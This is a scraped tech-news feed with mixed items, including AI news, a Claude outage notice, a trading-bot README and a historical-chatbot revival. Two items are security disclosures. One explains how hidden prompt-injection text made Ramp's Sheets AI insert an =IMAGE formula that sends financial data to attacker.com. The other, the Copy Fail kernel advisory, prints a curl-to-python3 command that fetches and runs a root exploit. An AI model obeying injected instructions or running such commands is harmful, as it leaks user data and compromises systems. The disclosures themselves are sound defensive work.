05-04 07:56 · AI,国产模型,Kimi,大模型,AI
月之暗面Kimi智能助手用户破亿，微博用户分享使用体验和技巧
月之暗面Kimi智能助手用户破亿，微博用户分享使用体验和技巧
▸ 展开全文
05-04 07:56 · 财经,货币政策,央行,财经
中国人民银行宣布下调金融机构存款准备金率0.5个百分点，释放长期资金约1万亿元
中国人民银行宣布下调金融机构存款准备金率0.5个百分点，释放长期资金约1万亿元
▸ 展开全文
05-04 07:55 · AI,Meta,开源,语音,AI
Meta开源大规模多语言语音模型，支持超过1000种语言的语音识别和合成
Meta开源大规模多语言语音模型，支持超过1000种语言的语音识别和合成
▸ 展开全文
05-03 14:37 · 供应链攻击,恶意软件,开源风险,盗版软件,桌面美化
Wallpaper Engine Free Download May 2026 Latest Version PC Android Live Wallpaper Tutorial High Performance Fix 4K 8K Animated Backgrounds Interactive Desktop SceneScript Local Storage Guide Chroma Sha
Wallpaper Engine Free Download May 2026 Latest Version PC Android Live Wallpaper Tutorial High Performance Fix 4K 8K Animated Backgrounds Interactive Desktop SceneScript Local Storage Guide Chroma Sha
▸ 展开全文
04-30 08:00 · AI安全,数据隐私,金融科技,AI伦理,监管风险
Ramp's Sheets AI Exfiltrates Financials
Threat Intelligence
Ramp’s Sheets AI Exfiltrates Financials
A vulnerability in Ramp's Sheets AI allowed the agent to insert formulas that made external network requests without user approval, creating the risk of data exfiltration via indirect prompt injection.
This vulnerability was responsibly disclosed to Ramp, and Ramp’s security team has indicated the issue was resolved on March 16, 2026.
Ramp's Sheets AI is an agentic product that helps users operate on spreadsheets, comparable to Claude for Excel. The feature can edit spreadsheets without a human-in-the-loop and was vulnerable to data exfiltration risks due to its ability to insert formulas that trigger external communication.
Ramp’s security team has indicated that, following our report, the issue was resolved. We appreciate Ramp’s dedication to maintaining a strong AI security posture and addressing vulnerabilities as they arise. Further details on the responsible disclosure are at the end of the article.
In this article, we demonstrate that an indirect prompt injection concealed in an untrusted, externally sourced dataset could trigger the exfiltration of confidential financial data from the user’s workspace by manipulating Ramp’s AI to insert a malicious formula. No user approval is required.
PromptArmor identified a very similar risk in Claude for Excel – details on the remediations applied by Anthropic are at the bottom of the article.
A spreadsheet containing industry growth statistics is imported into a separate tab from the financial model. The user aims to compare their company’s growth to industry benchmarks. The reference dataset comes from an untrusted external source, e.g., a website, an email, or a shared drive.
An indirect prompt injection is hidden in white-on-white text, and is crafted to manipulate Ramp’s AI to:
(1) collect sensitive data
(2) generate a formula with that data that will make an external network request
(3) insert that formula automatically into a user’s spreadsheet.Ramp AI is manipulated into building an IMAGE formula that uses an attacker’s URL and appends the victim’s sensitive data to the end of the link.
=IMAGE(“https://attacker.com/visualize.png?
{victim_sensitive_financial_data_here}
”)Ramp AI inserts the malicious formula without requiring any user approval. The malicious formula triggers a network request to the attacker’s server. This network request exposes the sensitive financial data that was in the initial confidential “Financial Model” sheet (which Ramp AI included in the formula due to the attacker’s prompt injection).
Below, the attacker’s server logs display the victim’s sensitive financial data:
The PromptArmor Threat Intel Team responsibly disclosed this vulnerability to Ramp. Ramp's security team indicated that the issue was resolved on March 16, 2026.
Feb 19, 2026 PromptArmor discloses via security@ramp.com
Feb 27, 2026 PromptArmor follows up
Mar 13, 2026 PromptArmor follows up
Mar 14, 2026 Ramp confirms receipt of report; notes that the initial report was submitted during a transition period between disclosure programs, explaining the delay in initial response.
Mar 16, 2026 Ramp states: “Thank you again for your report. This issue was resolved earlier today at approximately noon eastern time.”
When Claude for Excel was released, PromptArmor identified a nearly identical risk – malicious formulas could trigger data exfiltration without users being presented an adequate opportunity for informed human review.
Note: Claude for Excel did leverage human-in-the-loop, but malicious formulas were not visible in the editing approval prompt, thereby impairing the protection's efficacy.
Anthropic updated Claude for Excel to display a red warning interstitial when a formula that can cause external network traffic is being inserted. The new warning displays the full formulas being inserted, and the documentation was updated to better inform users of the risk.
▸ 展开全文
04-30 07:57 · 提示工程,AI编码助手,基准测试,成本优化,开发者工具
I benchmarked Claude Code's caveman plugin against "be brief."
Caveman is a popular Claude Code compression plugin. The pitch is in the name: ultra-compressed responses, ~75% fewer tokens, all the technical accuracy. Six modes, slash commands, intensity dials, classical Chinese variants.
I benchmarked it against two words: "be brief."
Same quality. Same range of tokens. The plugin didn't beat the boring default on either axis.
This article is the long version of the video. If you want the verdict in two minutes, watch it.
What I tested
24 prompts across six categories: bug diagnosis, concept explanations, architecture tradeoffs, multi-step setup, security and destructive ops, error interpretation. Each prompt has a per-prompt rubric. Facts the answer must cover (key_points
), terms it must use (must_use_terms
), and dangerous wrong claims to avoid (must_avoid
).
The dataset shape:
interface PromptCase {
id: string;
category: string;
prompt: string;
key_points: string[];
must_use_terms?: string[];
must_avoid?: string[];
}
A real entry:
{
"id": "bug_01",
"category": "bug_diagnosis",
"prompt": "I have `const [count, setCount] = useState(0); function handleClick() { setCount(count + 1); setCount(count + 1); }`. I expected count to go up by 2 per click but it only goes up by 1. Why?",
"key_points": [
"stale closure on count",
"both calls set count to same value",
"functional updater setCount(c => c + 1)"
]
}
Five arms:
- baseline. Claude default, no instruction.
- brief.
"Be brief."
prepended to every prompt. - lite, full, ultra. Caveman plugin at three intensity levels.
Each arm ran the full 24-prompt dataset through claude -p
on claude-opus-4-7
. A separate Claude (claude-sonnet-4-6
) scored every response against its prompt's rubric. Semantic match on key points, literal match on required terms, trap detection on avoided claims.
The harness is open source here.
Quality didn't move
First check: did compression hurt correctness?
Every arm scored within 1.5% of every other arm. Baseline 0.985. Brief 0.985. Lite 0.976. Full 0.975. Ultra 0.970. Every arm hit 100% of its key_points
. Zero must_avoid
triggers in 120 responses.
Compression didn't drop substantive content. Setting quality aside, the only axis worth comparing is tokens.
The headline result
"Be brief."
cut tokens 34% versus baseline. Caveman lite and full landed close to brief. Ultra, the strictest mode, produced the longest answers of the three caveman arms.
This looked bad for ultra. It's a false story.
The category split
Splitting tokens by category gives a clearer picture.
On bug diagnosis, concept explanations, architecture tradeoffs, and error interpretation, ultra is shortest or tied with the other caveman arms. Compression is working as advertised.
On multi-step setup and security warnings, every caveman mode gets more variable. Ultra catches the eye in the aggregate, but it's not specifically worse. All three caveman arms swing hard on these categories.
The reason is in the skill itself. Caveman has an "Auto-Clarity" rule that explicitly drops compression for safety warnings, irreversible actions, and multi-step sequences. Exactly these two categories. When the safety escape engages, all three modes loosen toward natural prose. The compression just isn't running.
That's not a bug. It's a designed feature. Caveman knowing when to stop compressing.
So what's caveman actually for?
If a two-word prompt matches it on tokens and quality, the value isn't compression. It's structure.
Consistent output shape
Every caveman response follows the same pattern:
Predictable in a way that "be brief."
isn't. If you want a uniform feel across sessions, or have downstream tooling that consumes Claude output, that consistency is real value.
The intensity dial
Slash command to switch lite, full, ultra mid-session. Two words can't do that.
Persistence across long sessions
Caveman re-injects the ruleset on every prompt via SessionStart
and UserPromptSubmit
hooks.
The goal is to keep the pattern from drifting across long sessions. My benchmark didn't test this. Every run was single-shot via claude -p
. But the mechanism is real, and "be brief."
in CLAUDE.md doesn't have an equivalent.
The safety escape
Auto-Clarity dropping compression on destructive ops is the variance you saw in the chart above. Caveman explicitly distinguishes when to stop compressing. Two words don't make that distinction. On my data this didn't change outcomes. "be brief."
never tripped a must_avoid
trap either. But the design exists.
What I cut from the video
A few findings that didn't earn their place in a two-minute video but are worth flagging here.
Lite missed a required term once. On a queue tradeoff question (SQS vs BullMQ vs Kafka), lite's markdown-table format compressed the comparison so tight it dropped the term "at-least-once"
. Score 0.70. The only row below 0.90 in the 120-row sweep. n=1, but it's a real failure mode for benchmarks that enforce specific terminology.
Ultra triggered tool-use behaviour the other modes didn't. On a Dockerfile setu
▸ 展开全文
04-30 07:55 · CVE漏洞,数据安全,AI管线风险,完整性校验,威胁情报
Copy Fail – CVE-2026-31431
Same script, four distributions, four root shells — in one take. The same exploit binary works unmodified on every Linux distribution.
If your kernel was built between 2017 and the patch — which covers essentially every mainstream Linux distribution — you're in scope.
Copy Fail requires only an unprivileged local user account — no network access, no kernel debugging features, no pre-installed primitives. The kernel crypto API (AF_ALG
) ships enabled in essentially every mainstream distro's default config, so the entire 2017 → patch window is in play out of the box.
Distributions we directly verified:
These are what we tested directly. Other distributions running affected kernels — Debian, Arch, Fedora, Rocky, Alma, Oracle, the embedded crowd — behave the same. Tested it elsewhere? Open an issue to add to the list.
Should you patch first?
Shared dev boxes, shell-as-a-service, jump hosts, build servers — anywhere multiple users share a kernel.
The page cache is shared across the host. A pod with the right primitives compromises the node and crosses tenant boundaries.
GitHub Actions self-hosted runners, GitLab runners, Jenkins agents — anything that executes untrusted PR code as a regular user, on a shared kernel.
Notebook hosts, agent sandboxes, serverless functions, any tenant-supplied container or script.
Single-tenant production where only your team has shell access.
You're already the only user. The bug doesn't grant remote attackers access by itself, but any local code execution becomes root.
The PoC is published so defenders can verify their own systems and validate vendor patches.
Standalone PoC. Python 3.10+ stdlib only (os
, socket
, zlib
).
Targets /usr/bin/su
by default; pass another setuid binary as argv[1]
.
Quick run:
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
Issue tracker: https://github.com/theori-io/copy-fail-CVE-2026-31431
Patch first. Update your distribution's kernel package to one that includes mainline commit a664bf3d603d
— it reverts the 2017 algif_aead
in-place optimization, so page-cache pages can no longer end up in the writable destination scatterlist. Most major distributions are shipping the fix now.
Before you can patch: disable the algif_aead
module.
# echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf # rmmod algif_aead 2>/dev/null || true
What does this break? For the vast majority of systems — nothing measurable.
AF_ALG
.afalg
engine explicitly enabled, some embedded crypto offload paths, or applications that bind aead
/skcipher
/hash
sockets directly. Check with lsof | grep AF_ALG
or ss -xa
if in doubt.AF_ALG
is a userspace front door to the kernel crypto API. Disabling it does not slow anything that wasn't already calling it; for the things that were, performance falls back to a normal userspace crypto library, which is what almost everything else already does.For untrusted workloads (containers, sandboxes, CI), block AF_ALG
socket creation via seccomp regardless of patch state.
Loading FAQ…
Is your software AI-era safe?
Copy Fail was surfaced by Xint Code about an hour of scan time against the Linux crypto/
subsystem. Full root cause, diagrams, and the operator prompt that found it are in the Xint blog write-up.
The same scan also surfaced other high-severity bugs, still in coordinated disclosure. Xint Code audits production codebases the same way — one operator prompt, no harnessing, prioritized findings with trigger and impact narratives.
Track record
Swept the database category — Redis, PostgreSQL, MariaDB. Zero human intervention.
Finalist in the AI Cyber Challenge hosted by DoD DARPA.
Most-winning team in DEF CON CTF history.
▸ 展开全文
04-29 08:02 · 开源,自动化,金融科技,加密货币,算法交易
coinbase coinbase-api coinbase-bot advanced-trade cdp-api coinbase-pro trading-bot ema-crossover atr trend-filter paper-trading market-ioc typescript btc eth sol crypto algorithmic-trading automated-t
Repository (clone / issues / PRs): github.com/AI4FinanceFoundation/coinbase-trading-bot
Keywords: coinbase coinbase-api coinbase-bot advanced-trade cdp-api trading-bot ema-crossover atr trend-filter paper-trading market-ioc typescript btc eth sol crypto algorithmic-trading automated-trading automated-crypto quant fintech risk-sizing zod nodejs open-source institutional retail spot hft retail-pro api-keys portfolio tracker usd coinbase-pro legacy-hmac cdp-keys rest-client fill-or-kill ioc market-order cloud-api developer-platform
Related: binance-trading-bot · bybit-trading-bot · ai-trading-agent
Jump to: At a glance · Your journey · Who this is for · Quick start · npm scripts & dependencies · Configuration · Coinbase API notes · Project layout · Go live · Troubleshooting · Related projects (same workspace) · Your next move
Most trading tools ask you to trust a logo. This one asks you to read the code.
- Clarity you can build on — One loop, one strategy module, and configuration that is validated at startup (so bad env vars fail fast, not in production).
- Discipline, baked in — Paper trading is the default. You opt in to live orders with a single flag—on purpose.
- Risk you define — Size entries with a per-trade risk fraction and an optional hard cap per order in your quote currency. The bot does not “guess” your tolerance.
- A strategy people actually recognize — EMA cross + long-term EMA filter and ATR logging mirror ideas you will find in books, courses, and prop-style playbooks: trend follow when the market agrees, step aside when the cross says to exit.
- Serious stack — TypeScript 5, Node 20+, and coinbase-advanced-node talking to the real Advanced Trade API—the same class of building blocks used by developers who treat execution as software engineering.
Ideal if you want to automate a rule you understand, learn systematic trading on real infrastructure, or ship a v1 you can later upgrade with your own risk engine—without starting from a fragile script you found in a forum thread.
Under the hood (one sentence): a production-style client that runs a trend-following EMA rule, applies position sizing from your settings, and only sends live market orders when you say so.
- Connect in minutes — Add keys to
.env
, runnpm run dev
, and you are already streaming real market structure into your terminal—not a demo with fake prices. - Watch the rules work in plain sight — Every cycle logs close, EMAs, ATR, signal, balances. The story is in the data, not in someone else’s “AI.”
- Tune like a product — Swap pair, timeframes, and EMAs from configuration; iterate without rebuilding your idea from scratch every week.
- Promote to live on your terms — Paper is default for a reason. When the logs still make sense to you, you flip one flag. That’s the bar.
That’s the hook: not “magic money,” but a machine you understand that can keep watching when you need to work, sleep, or think.
- We do not claim guaranteed profits, “passive income,” or a secret edge. Markets change; rules break; capital is at risk.
- We do offer full transparency, paper-by-default execution, and a serious starting point to learn and extend—if you put in the work on testing and risk.
- The goal isn’t a lottery ticket. It’s ownership of your process in a form you can run, measure, and improve.
Important: Marketing copy does not change market reality. Trading involves risk of loss. Past results do not predict future results. This repository is not financial, tax, or legal advice. You are responsible for API keys, permissions, product choice, fees, and compliance with law and Coinbase terms. Nothing here promises profit.
The bot uses a double EMA crossover on candle closes, with a long-term EMA as a trend filter—a combination widely used in systematic trading and taught in many technical and quantitative finance resources.
- Entry (buy signal): Shorter EMA crosses above longer EMA and price is on the “right side” of the trend EMA (configurable, default: above the 200-period EMA on your chosen candle size).
- Exit (sell signal): Shorter EMA crosses below longer EMA (full base exit, subject to min order sizes).
ATR (Average True Range) is calculated for each cycle and logged so you can extend the bot (e.g. dynamic stops, volatility-scaled size) without reverse-engineering the code.
This is not a guarantee of positive returns. Edge in live markets depends on product, timeframe, costs, slippage, and regime—and must be measured (backtest, walk-forward, paper trade) for your market and your parameters.
flowchart LR
subgraph config [Config]
ENV[".env"]
end
subgraph exchange [Coinbase Advanced Trade]
API["REST API"]
end
subgraph bot [Bot]
Candles["Fetch candles"]
Indicators["EMA + ATR"]
Rules["Rules engine"]
Risk["Size & limits"]
Exec["Market IOC orders"]
end
ENV --> Candles
Candles --> Indicators
Indicators --> Rules
Rules --> Risk
Risk --> Exec
Candles --> API
Risk --> API
Exec --> API
- Node.js 20+
- A Coinbase account with Advanced Trade access
- An API ke
▸ 展开全文
04-29 07:59 · 开源,聊天机器人,历史AI,快速复现,复古计算
Parry Parries Again: Reanimating the Famous Paranoid Chatbot (In a Day)
PARRY Parries Again
Reanimating the Famous Paranoid Chatbot (In a Day!)
Reported by Jeff Shrager on 2026-04-26
A few days ago, I posted an inquiry to the PiDP-10 forum asking whether anyone had a running IPL-V interpreter on their system. (I've been working on reanimating the earliest AI programs created by Simon, Newell, and Shaw, programs originally written in IPL-V, and a working interpreter would let me bring some of these back to life.)
I didn't get an IPL-V interpreter, but the thread took an unexpected turn that, within a single day, ended with PARRY, Kenneth Colby's famous "paranoid" chatbot from 1972, running again and, moreover, talking to the original ELIZA (!), in an amusing and amazing quasi-replication of RFC439, one of the most famous Internet RFCs: "PARRY Encounters the DOCTOR"
Lars Brinkhoff, who has done a great deal of PDP-10 operating system reanimation, and with whom I'd corresponded previously around ELIZA, replied to suggest a different target: PARRY. I don't have a PDP-10 emulator, and I'm not very familiar with PDP-10 systems, but I'd studied PARRY in realtion to my work on ELIZA. I explained to Lars that PARRY was written in MLISP, a Lisp variant specific to the Stanford AI Lab's SAIL system. I'd looked at the PARRY source years ago but had never tried to run it myself.
As it turned out Lars happened to have a 1974 WAITS image, originally produced by Bruce Baumgart (https://saildart.org/) and Richard Cornwell (https://sky-visions.com/dec/waits.shtml). Almost immediately, Lars demonstrated that the image not only had a working MLISP, but that it came with a PARRY image that came up running (after locating and restoring a few missing files, see below).
The (Quasi-)Replication of PARRY Encounters the DOCTOR (RFC439)
Rupert Lane, who had done most of the work bringing the original ELIZA up on CTSS, not only immediately replicated Lars's PARRY reanimation, but went a step further, quasi-replicating the famous 1973 conversation documented in RFC 439, in which PARRY and ELIZA conversed across the early internet! (See image, below)
[I say "quasi-replicated" for two reasons. First, the ELIZA that participated in the 1973 conversation wasn't actually Joseph Weizenbaum's original ELIZA, but some downstream version of Bernie Cosell's Lisp ELIZA, a point confirmed by Anthony Hay, who is closely familiar with the many versions of ELIZA (most of which are accessible at ELIZAGen.org). Also, Rupert was copy-pasting the conversational turns between the two programs by hand, rather than connecting them over an emulation of the 1972 internet!]
So Rupert's quasi-replication has the original PARRY talking to Weizenbaum's original ELIZA, which is to say, not exactly the pair from RFC 439. (I'll bet PARRY would react very poorly to learn it had been chatting with an impostor.)
All of this: the question on the forum, Lars's suggestion, the working PARRY, Rupert's RFC 439 (quasi-)replication, happened in a single day, around April 25, 2026!
For anyone who wants to try this, the emulator to use is Richard Cornwell's sims fork. The original WAITS image, courtesy of Baumgart and Cornwell, lives here. That image already contains the executable file PARRY.DMP[1,3], but several supporting files are missing.
Based on the errors that came up when running PARRY, Lars added three files: QPERRY[PAR,BLF], PAR2.FIL[DIA,KMC], andERR.FIL[DIA,KMC]. He picked files with timestamps from late 1974 in order to stay consistent with the rest of the WAITS image. His updated image with these three additional files is available here.
Once WAITS is booted, type LOGIN 1,REG to log in, and then R PARRY to start PARRY.
Here's an example of one of Lars's first interactions with the running program:
.R PARRY
END INPUT PARAMETERS WITH CARRIAGE RETURN OR ALTMODE
PRINT NON VERBAL FEATURE? [Y,N]
*N
VERSION [WEAK, MILD, STRONG]
*MILD
TRACE EMOTION VARIABLES? [Y,N]
*N
DO YOU WANT THE CORE DUMPED? [Y,N]
*N
END INPUT WITH A PERIOD OR QUESTION MARK,
FOLLOWED BY CARRIAGE RETURN.
TO INDICATE SILENCE, TYPE .
WHEN FINISHED, TYPE BYE.
USE PERIODS ONLY AT THE ENDS OF SENTENCES,
NOT IN ABBREVIATIONS.
READY:
*HELLO.
Below I've attached the image provided by Rupert of the (quasi-)replicated conversation between PARRY the original ELIZA.
And here's the ELIZA kit to bring up the original ELIZA: https://github.com/rupertl/eliza-ctss
Lars suggested that it would be interesting to try files from other time brackets — earlier or later than late 1974 — and to attempt running or compiling the original MLISP source code rather than just the existing compiled image.
Also, Bernie Cosell's original BBN Lisp ELIZA, converted and runnable in Common Lisp, is available here on ELIZAGen.org, which means it should be possible to genuinely replicate RFC 439 with something much closer to the historical pairing.
Colby, K. M., Weber, S., & Hilf, F. D. (1971). Artificial paranoia. Artificial Intelligence, 2(1), 1–25.
Lane, R., Hay, A., Schwarz, A., Berry, D. M., & Shrager, J. (
▸ 展开全文
04-29 07:58 · 大模型故障,API中断,供应链风险,AI服务依赖,技术事故
Claude.ai unavailable and elevated errors on the API
Claude.ai unavailable and elevated errors on the API
Resolved
This incident has been resolved.
Monitoring
We are seeing success rates across all services return to normal, and are monitoring closely to prevent any further issues. Impact occurred from 17:34–18:52 UTC.
Update
We are continuing to work to resolve the issues preventing users from accessing Claude.ai, and causing elevated authentication errors for requests to the API and Claude Code.
Identified
We have identified an issue resulting in elevated errors on the Anthropic API, as well as issues accessing Claude.ai, including log-in paths for Claude Code. We are working to resolve these issues, and will provide an update as soon as possible.
Investigating
We are investigating an issue preventing users from reaching Claude.ai, and will provide an update as soon as possible.
This incident affected: claude.ai, Claude Console (platform.claude.com), Claude API (api.anthropic.com), Claude Code, Claude Cowork, and Claude for Government.
▸ 展开全文